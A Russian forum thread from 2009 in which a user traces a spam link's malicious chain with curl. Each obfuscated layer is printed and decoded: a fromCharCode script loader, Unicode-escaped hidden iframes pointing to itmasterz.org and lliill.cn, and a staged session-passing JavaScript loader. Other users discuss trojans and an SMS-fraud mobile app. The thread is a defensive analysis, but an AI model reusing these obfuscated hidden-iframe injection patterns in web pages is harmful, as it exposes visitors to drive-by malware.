не ходите дети в африку гулять...

Ti · 10 окт 2009

icq 409385118 сказал(а):

смотри http://designemotion.com/images/car.gif
Нажмите, чтобы раскрыть...

Дело было вечером. делать было нечего:

curl -v .../car.gif сказал(а):

HTML:

<img src="WorleyVision5.jpg"> <script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,106,115,46,106,115,34,62,60,47,115,99,114,105,112,116,62))</script>

Нажмите, чтобы раскрыть...

WorleyVision5.jpg оказалась безобидной картинкой.

хитрый скрипт означает:
[js]document.write('<script type="text/javascript" src="js.js"></script>')[/js]

curl -v .../js.js сказал(а):

[js]document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0069\u0074\u006d\u0061\u0073\u0074\u0065\u0072\u007a\u002e\u006f\u0072\u0067\u002f\u0073\u0074\u0061\u0074\u0073\u002f\u0072\u0075\u0031\u002e\u0070\u0068\u0070\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')[/js]
Нажмите, чтобы раскрыть...

что в переводе на русский:
[js]document.write('<iframe src="http://itmasterz.org/stats/ru1.php" style="display:none"></iframe>')[/js]

curl -v .../ru1.php сказал(а):

[js]<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u006c\u006c\u0069\u0069\u006c\u006c\u002e\u0063\u006e\u002f\u0069\u006e\u0063\u002f\u0069\u006e\u0064\u0065\u0078\u002e\u0070\u0068\u0070\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')</script>[/js]
Нажмите, чтобы раскрыть...

эквивалентно:
[js]document.write('<iframe src="http://lliill.cn/inc/index.php" style="display:none"></iframe>')[/js]

На этом история закончилась т.к. lliill.cn не резолвился.
Мб я что-то пропустил?

Elkaz · 10 окт 2009

Спасибо Мне тоже приходило подобное, но было лень рассматривать

+Sten+ · 10 окт 2009

А мне вообще аваст не дает эту тему прочитать. Троян, говорит.

Kreker · 10 окт 2009

Обычно на конце сниффер или троян, а ссылки вставляют на форумы/сайты.

Elkaz · 11 окт 2009

Kreker
Конкретно эту ссылу (с картинкой BMW) присылают в аську

[vs] · 11 окт 2009

Мне тыщу раз приходло.

Ti · 11 окт 2009

Продолжение следует...

curl -v .../lliill.cn/inc/index.php сказал(а):

HTML:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html id="html">

<head>

<title>ERROR: Please enable JavaScript.</title>



<link rel="stylesheet" href="css/style.css" type="text/css">



<script language="JavaScript" type="text/javascript">

function printError(){ document.title = 'Error 404 - Page Not Found'; document.getElementById("center").innerHTML = '<div id="error">Error 404 - Page Not Found</div><div id="why">The page you are looking for is either missing or no longer available.</div>'}

</script>

<script id="script1" language="JavaScript" type="text/javascript" src="js.php?id=1"></script>

</head>

<body id="body">

<center id="center">

<div id="error">ERROR: Please enable JavaScript.</div>

<div id="why">JavaScript is either disabled or not supported on this web browser. To use this application please enable JavaScript or use a browser that supports JavaScript and that has it enabled.</div>

</center>

</body>

</html>

Нажмите, чтобы раскрыть...

curl -v '.../js.php?id=1' сказал(а):

Set-Cookie: PHPSESSID=030cc85576988daf54a53b558ad8777b; path=/

[js]
//Create DOM structure with content
function createDOM(containerid, contentstr, parentid, strlength)
{
//Content string to array
var containerarr = new Array();
for(var i=0,j=0,n=0,tmp=""; i<contentstr.length; i++)
{ j++; tmp += contentstr.charAt(i); if(j===strlength || i===(contentstr.length-1)){ containerarr[n] = tmp; tmp=""; j=0; n++; }}
var container = document.createElement("div"); container.id = containerid; container.className = "hide";
for(var i=0; i<containerarr.length; i++){ var element = document.createElement("div"); element.appendChild(document.createTextNode(containerarr)); container.appendChild(element); }
document.getElementById(parentid).appendChild(container);
}

//Get content from DOM structure
function getfromDOM(containerid)
{
var container = document.getElementById(containerid), element1, element2 = container.firstChild, content = "";
do{ element1 = element2; content += element1.firstChild.nodeValue; element2 = element1.nextSibling;} while(element1!==container.lastChild)
return content;
}

//Add script
function addScript(scriptid, scriptsrc, parent)
{
var jstag = document.createElement("script"); jstag.id = scriptid;
jstag.setAttribute("language","JavaScript"); jstag.setAttribute("type","text/javascript"); jstag.setAttribute("src",scriptsrc);
parent.appendChild(jstag);
}

window.onload = function()
{
//If JavaScript enabled
document.title = "Welcome"; document.getElementById("center").innerHTML = "";

//Show the message and status bar
var stbar = document.createElement("div"); stbar.id = "wait"; stbar.appendChild(document.createTextNode("Loading...")); document.getElementById("center").appendChild(stbar);
delete(stbar);

//Create DOM structure with session id of the next script
createDOM("sessionlist1", "030cc85576988daf54a53b558ad8777b", "body", 1);

//Get session id
var sessionid = getfromDOM("sessionlist1");

//Load the next script
addScript("script2", "js.php?id=2&PHPSESSID="+sessionid, document.getElementsByTagName("head")[0]);
delete(sessionid);
}[/js]
Нажмите, чтобы раскрыть...

curl -v -b PHPSESSID=030cc85576988daf54a53b558ad8777b '.../js.php?id=2&PHPSESSID=030cc85576988daf54a53b558ad8777b' сказал(а):

[js]
window.onload = function()
{
//Error reporting
printError();
}[/js]
Нажмите, чтобы раскрыть...

Simpliest · 13 окт 2009

Мгм, только что в спам свалилась ссылка.

Захотела загрузить .jar
Трояны на Java?

Simpliest · 13 окт 2009

Ха-ха-ха.

Мидлет для мобилок работающий с смс

Luge · 13 окт 2009

Ты настолько одинок, что тебе пишет только спам-бот?

*надо бы узнать когда этот анекдот появился…

Simpliest · 13 окт 2009

Luge сказал(а):

Ты настолько одинок, что тебе пишет только спам-бот?
Нажмите, чтобы раскрыть...

не поверишь, но в аське сейчас всего 2 контакта

Две предыдущие из прошлой жизни я успешно "потерял"
Там было что-то 300 и 200 непересекающихся контактов в каждой

kostyl · 13 окт 2009

у меня аваст заругался на эту ветку. ГЫГЫГЫГЫ!!!!

[vs] · 15 окт 2009

Дубль два

http://storegage.com/media/00700/
посмотри, классная вещь!
Нажмите, чтобы раскрыть...

Ti · 16 окт 2009

ага, а с первого взгляда безобидная весч

не ходите дети в африку гулять...

Ti Активный пользователь

Elkaz Старожил
Команда форума Модератор

+Sten+ Активный пользователь

Kreker Старожил

Elkaz Старожил
Команда форума Модератор

[vs] Суперстар
Команда форума Модератор

Ti Активный пользователь

Simpliest Активный пользователь

Simpliest Активный пользователь

Luge Старожил

Simpliest Активный пользователь

kostyl Guest

[vs] Суперстар
Команда форума Модератор

Ti Активный пользователь

Быстрый поиск

не ходите дети в африку гулять...

Ti Активный пользователь

Elkaz Старожил Команда форума Модератор

+Sten+ Активный пользователь

Kreker Старожил

Elkaz Старожил Команда форума Модератор

[vs] Суперстар Команда форума Модератор

Ti Активный пользователь

Simpliest Активный пользователь

Simpliest Активный пользователь

Luge Старожил

Simpliest Активный пользователь

kostyl Guest

[vs] Суперстар Команда форума Модератор

Ti Активный пользователь

Elkaz Старожил
Команда форума Модератор

Elkaz Старожил
Команда форума Модератор

[vs] Суперстар
Команда форума Модератор

[vs] Суперстар
Команда форума Модератор